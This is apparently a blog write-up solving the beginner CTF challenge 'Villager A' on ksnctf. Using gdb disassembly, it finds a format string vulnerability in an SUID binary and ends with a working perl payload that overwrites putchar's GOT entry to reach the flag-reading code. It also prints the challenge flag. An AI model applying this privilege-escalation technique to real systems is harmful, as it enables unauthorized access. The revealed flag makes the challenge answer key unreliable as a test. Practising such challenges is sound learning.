ksnctf Villager A write-up
20 Oct 2015ksnctf is one of the beginner level CTF websites. This article is the write-up for the question 4 Villager A, in which you need to exploit the Format String Vulnerability to capture the flag!
Note that this article includes a complete solution. If you are looking for some hints for Villager A, you should refer to these keywords: Format String Vulnerability
and GOT overwrite
.
Write-up
Connect
Using given information, access to the server ssh -p 10022 q4@ctfq.sweetduet.info
In the server, you can find
[q4@localhost ~]$ ls -al
total 36
drwxr-xr-x. 2 root root 4096 May 22 2012 .
drwxr-xr-x. 17 root root 4096 Oct 6 2014 ..
-rw-r--r--. 1 root root 18 Dec 2 2011 .bash_logout
-rw-r--r--. 1 root root 176 Dec 2 2011 .bash_profile
-rw-r--r--. 1 root root 124 Dec 2 2011 .bashrc
-r--------. 2 q4a q4a 22 May 22 2012 flag.txt
-rwsr-xr-x. 1 q4a q4a 5857 May 22 2012 q4
-rw-r--r--. 1 root root 151 Jun 1 2012 readme.txt
[q4@localhost ~]$ cat readme.txt
You are not allowed to connect internet and write the home directory.
If you need temporary directory, use /tmp.
Sometimes this machine will be reset.
[q4@localhost ~]$ cat flag.txt
cat: flag.txt: Permission denied
[q4@localhost ~]$ ./q4
What's your name?
sirius
Hi, sirius
Do you want the flag?
yes
Do you want the flag?
yes
Do you want the flag?
no
I see. Good bye.
Analyze
Since I don’t have an access to read flag.txt, it seems that I need to somehow exploit q4 (SUID=root) to read the file. Let’s disassemble main().
...
0x080485e4 <+48>: call 0x8048484 <fgets@plt>
0x080485e9 <+53>: mov DWORD PTR [esp],0x80487b6
0x080485f0 <+60>: call 0x80484b4 <printf@plt> <==
0x080485f5 <+65>: lea eax,[esp+0x18]
0x080485f9 <+69>: mov DWORD PTR [esp],eax
0x080485fc <+72>: call 0x80484b4 <printf@plt> <== FMT_VULN
0x08048601 <+77>: mov DWORD PTR [esp],0xa
0x08048608 <+84>: call 0x8048474 <putchar@plt> <==
0x0804860d <+89>: mov DWORD PTR [esp+0x418],0x1
0x08048618 <+100>: jmp 0x8048681 <main+205>
0x0804861a <+102>: mov DWORD PTR [esp],0x80487bb
0x08048621 <+109>: call 0x80484c4 <puts@plt>
...
(gdb) c
Continuing.
What's your name?
Breakpoint 2, 0x080485e4 in main ()
(gdb) nexti
hello
0x080485e9 in main ()
(gdb) x/s 0x80487b6
0x80487b6 <__dso_handle+22>: "Hi, "
(gdb) x/s $esp+0x18
0xbf9524d8: "hello\n"
It seems that at <main+48>, fgets()
is called to get a string from stdin; at <main+72>, printf()
is called to output the string. But, it’s kind of weird that printf()
was called at <main+60> to output “Hi, “, and after that, putchar()
was called to output “\n” (0xa). Why are they called separately, instead of calling just one like printf("Hi, %s\n", input);
as you probably more familiar to write. Now, I’m getting suspicious that there is a format string vulnerability in this program. (I mean, it’s a CTF program)
What if I input some kind of format string at <main+48>?
[q4@localhost ~]$ ./q4
What's your name?
sirius%x%x%x
Hi, sirius400d604408
Do you want the flag?
It’s now clear that there is a format string vulnerability at <main+72>. So, let’s think about how to exploit it to read flag.txt.
...
0x08048601 <+77>: mov DWORD PTR [esp],0xa
0x08048608 <+84>: call 0x8048474 <putchar@plt>
0x0804860d <+89>: mov DWORD PTR [esp+0x418],0x1 <==
0x08048618 <+100>: jmp 0x8048681 <main+205>
...
0x08048681 <+205>: mov eax,DWORD PTR [esp+0x418] <==
0x08048688 <+212>: test eax,eax
0x0804868a <+214>: setne al
0x0804868d <+217>: test al,al
0x0804868f <+219>: jne 0x804861a <main+102> <==
0x08048691 <+221>: mov DWORD PTR [esp+0x4],0x80487e6
0x08048699 <+229>: mov DWORD PTR [esp],0x80487e8
0x080486a0 <+236>: call 0x80484a4 <fopen@plt>
0x080486a5 <+241>: mov DWORD PTR [esp+0x41c],eax
0x080486ac <+248>: mov eax,DWORD PTR [esp+0x41c]
0x080486b3 <+255>: mov DWORD PTR [esp+0x8],eax
0x080486b7 <+259>: mov DWORD PTR [esp+0x4],0x400
0x080486bf <+267>: lea eax,[esp+0x18]
0x080486c3 <+271>: mov DWORD PTR [esp],eax
0x080486c6 <+274>: call 0x8048484 <fgets@plt>
0x080486cb <+279>: lea eax,[esp+0x18]
0x080486cf <+283>: mov DWORD PTR [esp],eax
0x080486d2 <+286>: call 0x80484b4 <printf@plt>
...(return)
Realize that 0x1 is moved into [esp+0x418] right before the jump to <main+205>. Then, 0x1 is brought back to eax, followed by jne
at <main+219> – if the value of eax is not 0 (or ZF = 0), it jumps to <main+102> that is a loop asking “Do you want the flag?”, as shown below.
...
0x0804861a <+102>: mov DWORD PTR [esp],0x80487bb
0x08048621 <+109>: call 0x80484c4 <puts@plt>
0x08048626 <+114>: mov eax,ds:0x8049a04
0x0804862b <+119>: mov DWORD PTR [esp+0x8],eax
0x0804862f <+123>: mov DWORD PTR [esp+0x4],0x400
0x08048637 <+131>: lea eax,[esp+0x18]
0x0804863b <+135>: mov DWORD PTR [esp],eax
0x0804863e <+138>: call 0x8048484 <fgets@plt>
0x08048643 <+143>: test eax,eax
0x08048645 <+145>: sete al
0x08048648 <+148>: test al,al
0x0804864a <+150>: je 0x8048656 <main+162>
0x0804864c <+152>: mov eax,0x0
0x08048651 <+157>: jmp 0x80486dc <main+296>
0x08048656 <+162>: mov DWORD PTR [esp+0x4],0x80487d1
0x0804865e <+170>: lea eax,[esp+0x18]
0x08048662 <+174>: mov DWORD PTR [esp],eax
0x08048665 <+177>: call 0x80484e4 <strcmp@plt>
0x0804866a <+182>: test eax,eax
0x0804866c <+184>: jne 0x8048681 <main+205>
0x0804866e <+186>: mov DWORD PTR [esp],0x80487d5
0x08048675 <+193>: call 0x80484c4 <puts@plt>
0x0804867a <+198>: mov eax,0x0
0x0804867f <+203>: jmp 0x80486dc <main+296>
...
On the other hand, if the jump was not taken, then it opens flag.txt
and print it out (from <main+212> onwards)
One possibility to attack this program is by using format string attack to change the value of [esp+0x418] to 0 before jne
at <main+219>, but it wouldn’t work because mov [esp+0x418], 0x1
happens after the string vulnerability. Moreover, ASLR (Address Space Layout Randomization) is enabled on this system, so guessing the stack address of [esp+0x418] is very hard.
Exploitation
Remember that ASLR doesn’t disable the randomization of memory address of code section. If I can somehow set eip
to <main+221> (0x08048691), I should be able to read flag.txt
.
Right after the format string vulnerability, putchar@plt
is called, using PLT. That means, if I modify the address referred at putchar@plt
to <main+221>, I can modify eip
!
Let’s examine.
...
0x08048601 <+77>: mov DWORD PTR [esp],0xa
=> 0x08048608 <+84>: call 0x8048474 <putchar@plt>
0x0804860d <+89>: mov DWORD PTR [esp+0x418],0x1
0x08048618 <+100>: jmp 0x8048681 <main+205>
0x0804861a <+102>: mov DWORD PTR [esp],0x80487bb
0x08048621 <+109>: call 0x80484c4 <puts@plt>
0x08048626 <+114>: mov eax,ds:0x8049a04
0x0804862b <+119>: mov DWORD PTR [esp+0x8],eax
0x0804862f <+123>: mov DWORD PTR [esp+0x4],0x400
(gdb) stepi
0x08048474 in putchar@plt ()
(gdb) disassemble
Dump of assembler code for function putchar@plt:
=> 0x08048474 <+0>: jmp DWORD PTR ds:0x80499e0
0x0804847a <+6>: push 0x8
0x0804847f <+11>: jmp 0x8048454
End of assembler dump.
So, it seems that if I change the value stored at 0x80499e0 to be 0x08048691 (<main+219>), I can read flag.txt.
[q4@localhost ~]$ ./q4
What's your name?
AAAA%x.%x.%x.%x.%x.%x.%x.%x.
Hi, AAAA400.cfa440.8.14.64dfc4.41414141.252e7825.78252e78.
Do you want the flag?
As examining the format vulnerability, it seems that the input string is stored at 6th place from the top of the stack.
GETTING THE FLAG
Now, we got all the informatin needed.
- modify the value at 0x80499e0 to 0x8048691
- offset is 6
Some calculation
>>> 0x8691 - 8
34441
>>>0x10804 - 0x8691
33139
Thus, the exploit code is
[q4@localhost ~]$ perl -e 'print "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn"'| ./q4
Then, the flag was: FLAG_nwW6eP503Q3QI0zw